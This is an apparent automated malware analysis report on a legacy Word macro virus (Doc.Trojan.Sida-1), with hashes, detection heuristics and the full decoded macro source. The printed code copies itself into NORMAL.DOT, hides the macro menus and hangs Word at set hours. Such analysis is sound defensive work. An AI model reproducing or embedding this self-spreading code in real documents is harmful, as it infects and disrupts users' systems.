Office (OLE) malware analysis — malicious · 6670615982003f69

MALICIOUS

Office (OLE)

62.0 KB Created: 2000-08-25 20:28:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-24

MD5: 63261fa9c8a3d1002cd3ea34aa23a100 SHA-1: 2f94fdb70c8ad288e5f6d9aa7b534fb0c38ff6cd SHA-256: 6670615982003f6951230398f5a08c02ec2394655bbdf898433c4e01aa7dbc38

196 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

This legacy WordBasic macro-virus sample contains multiple VBA macros, including AUTOOPEN and AUTOCLOSE, which are designed to execute automatically. The script attempts to copy itself into the user's NORMAL.DOT template using the Organizer function with various names like 'AIDS', 'AUTOOPEN', 'AUTOCLOSE', 'AUTOEXIT', and 'AUTOEXEC', indicating an attempt to establish persistence and spread.

Heuristics 5

ClamAV: Doc.Trojan.Sida-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Sida-1
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Attribute VB_Name = "AUTOOPEN"
```

Auto_Close macro low OLE_VBA_AUTOCLOSE

Auto_Close macro

Matched line in script

WordBasic.Organizer Copy:=1, Source:=n$, Destination:=M__$(count_), Name:="AUTOCLOSE", Tab:=3

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	6917 bytes
SHA-256: `73d56c1ef1129acba5b9a0c5df47f514ea26e26a5d3a350312e50402ddbcb4a1`
Detection ClamAV: Doc.Trojan.Sida-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "AIDS" Public Sub MAIN() End Sub Attribute VB_Name = "AUTOOPEN" Public Sub MAIN() Dim I$ Dim P Dim n$ Dim K$ Dim T$ Dim s$ Dim Z$ Dim size_ ReDim M__$(0) Dim count_ WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="toolsmacro", Menu:="&tools", MenuText:="&macro...", ResetAll:=1, Context:=0 On Error Resume Next I$ = WordBasic.[DefaultDir$](2) I$ = WordBasic.[DefaultDir$](2) P = InStr(5, I$, "\") I$ = WordBasic.[Left$](I$, P - 1) n$ = WordBasic.[FileName$]() K$ = WordBasic.[FileNameInfo$](WordBasic.[FileName$](), 5) T$ = WordBasic.[FileNameInfo$](WordBasic.[FileName$](), 2) s$ = WordBasic.[FileNameInfo$](WordBasic.[FileName$](), 4) Z$ = WordBasic.[MacroFileName$]("AIDS") Rem button = MsgBox(Z$, 36) If Z$ = n$ Then WordBasic.FileFind SearchPath:=I$, Name:="NORMAL.DOT", SubDir:=1 size_ = WordBasic.CountFoundFiles() - 1 If size_ >= 0 Then ReDim M__$(size_) For count_ = 0 To size_ M__$(count_) = WordBasic.[FoundFileName$](count_ + 1) WordBasic.Organizer Copy:=1, Source:=n$, Destination:=M__$(count_), Name:="AIDS", Tab:=3 WordBasic.Organizer Copy:=1, Source:=n$, Destination:=M__$(count_), Name:="AUTOOPEN", Tab:=3 WordBasic.Organizer Copy:=1, Source:=n$, Destination:=M__$(count_), Name:="AUTOCLOSE", Tab:=3 WordBasic.Organizer Copy:=1, Source:=n$, Destination:=M__$(count_), Name:="AUTOEXIT", Tab:=3 WordBasic.Organizer Copy:=1, Source:=n$, Destination:=M__$(count_), Name:="AUTOEXEC", Tab:=3 Next End If Else End If s$ = WordBasic.[MenuText$](1, 1) If s$ = "&File" Then WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsMacro", Menu:="&Tools", MenuText:="&Macro...", Remove:=1, Context:=0 WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsCustomize", Menu:="&Tools", MenuText:="&Customize...", Remove:=1, Context:=0 Else WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsMacro", Menu:="à&¤Ã×èÍ§Á×Í", MenuText:="&ÁÒâ¤Ã...", Remove:=1, Context:=0 WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsCustomize", Menu:="à&¤Ã×èÍ§Á×Í", MenuText:="¡Ó&Ë¹´àÍ§...", Remove:=1, Context:=0 End If End Sub Attribute VB_Name = "AUTOCLOSE" Public Sub MAIN() Dim I$ Dim P Dim n$ Dim K$ Dim T$ Dim s$ Dim Z$ Dim size_ ReDim M__$(0) WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="toolsmacro", Menu:="&tools", MenuText:="&macro...", ResetAll:=1, Context:=0 I$ = WordBasic.[DefaultDir$](2) I$ = WordBasic.[DefaultDir$](2) P = InStr(5, I$, "\") I$ = WordBasic.[Left$](I$, P - 1) n$ = WordBasic.[FileName$]() K$ = WordBasic.[FileNameInfo$](WordBasic.[FileName$](), 5) T$ = WordBasic.[FileNameInfo$](WordBasic.[FileName$](), 2) s$ = WordBasic.[FileNameInfo$](WordBasic.[FileName$](), 4) Z$ = WordBasic.[MacroFileName$]("AIDS") Rem button = MsgBox(Z$, 36) If Z$ <> n$ Then WordBasic.FileFind SearchPath:=I$, Name:="NORMAL.DOT", SubDir:=1 size_ = WordBasic.CountFoundFiles() If size_ >= 0 Then ReDim M__$(size_) M__$(1) = WordBasic.[FoundFileName$](size_) WordBasic.FileSaveAs Name:=n$, Format:=1, LockAnnot:=0, Password:="", AddToMru:=1, WritePassword:="", RecommendReadOnly:=0, EmbedFonts:=0, NativePictureFormat:=0, FormsData:=0 Rem button = MsgBox(M$(1), 36) WordBasic.Organizer Copy:=1, Source:=M__$(1), Destination:=n$, Name:="AIDS", Tab:=3 WordBasic.Organizer Copy:=1, Source:=M__$(1), Destination:=n$, Name:="AUTOOPEN", Tab:=3 WordBasic.Organizer Copy:=1, Source:=M__$(1), Destination:=n$, Name:="AUTOCLOSE", Tab:=3 WordBasic.Organizer Copy:=1, Source:=M__$(1), Destination:=n$, Name:="AUTOEXIT", Tab:=3 WordBasic.Organizer Copy:=1, Source:=M__$(1), Destination:=n$, Name:="AUTOEXEC", Tab:=3 End If Else End If s$ = WordBasic.[MenuText$](1, 1) If s$ = "&File" Then WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsMacro", Menu:="&Tools", MenuText:="&Macro...", Remove:=1, Context:=0 WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsCustomize", Menu:="&Tools", MenuText:="&Customize...", Remove:=1, Context:=0 Else WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsMacro", Menu:="à&¤Ã×èÍ§Á×Í", MenuText:="&ÁÒâ¤Ã...", Remove:=1, Context:=0 WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsCustomize", Menu:="à&¤Ã×èÍ§Á×Í", MenuText:="¡Ó&Ë¹´àÍ§...", Remove:=1, Context:=0 End If End Sub Attribute VB_Name = "AUTOEXIT" Public Sub MAIN() Attribute MAIN.VB_Description = "ScanProt macro to protect and disinfect your Normal (Global) template." Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AUTOEXIT.MAIN" Dim Z$ Dim ii WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="toolsmacro", Menu:="&tools", MenuText:="&macro...", ResetAll:=1, Context:=0 Z$ = WordBasic.[Time$](WordBasic.Now()) Z$ = WordBasic.[Left$](Z$, 2) If Z$ = "17" Or Z$ = "05" Or Z$ = "5" Or Z$ = "5:" Then ii = 0 While ii <> 2 ii = 0 Wend End If If Z$ = "20" Then ii = 0 While ii <> 2 ii = 0 Wend End If Rem button = MsgBox(Z$, 36) End Sub Attribute VB_Name = "AUTOEXEC" Public Sub MAIN() Dim Z$ Dim ii Dim s$ WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="toolsmacro", Menu:="&tools", MenuText:="&macro...", ResetAll:=1, Context:=0 WordBasic.DisableInput 1 On Error Resume Next Z$ = WordBasic.[Time$](WordBasic.Now()) Z$ = WordBasic.[Left$](Z$, 2) If Z$ = "17" Or Z$ = "05" Or Z$ = "5" Or Z$ = "5:" Then ii = 0 While ii <> 2 ii = 0 Wend End If If Z$ = "20" Then ii = 0 While ii <> 2 ii = 0 Wend End If s$ = WordBasic.[MenuText$](1, 1) Rem button = MsgBox(s$, 36) If s$ = "&File" Then WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsMacro", Menu:="&Tools", MenuText:="&Macro...", Remove:=1, Context:=0 WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsCustomize", Menu:="&Tools", MenuText:="&Customize...", Remove:=1, Context:=0 Else WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsMacro", Menu:="à&¤Ã×èÍ§Á×Í", MenuText:="&ÁÒâ¤Ã...", Remove:=1, Context:=0 WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsCustomize", Menu:="à&¤Ã×èÍ§Á×Í", MenuText:="¡Ó&Ë¹´àÍ§...", Remove:=1, Context:=0 End If End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.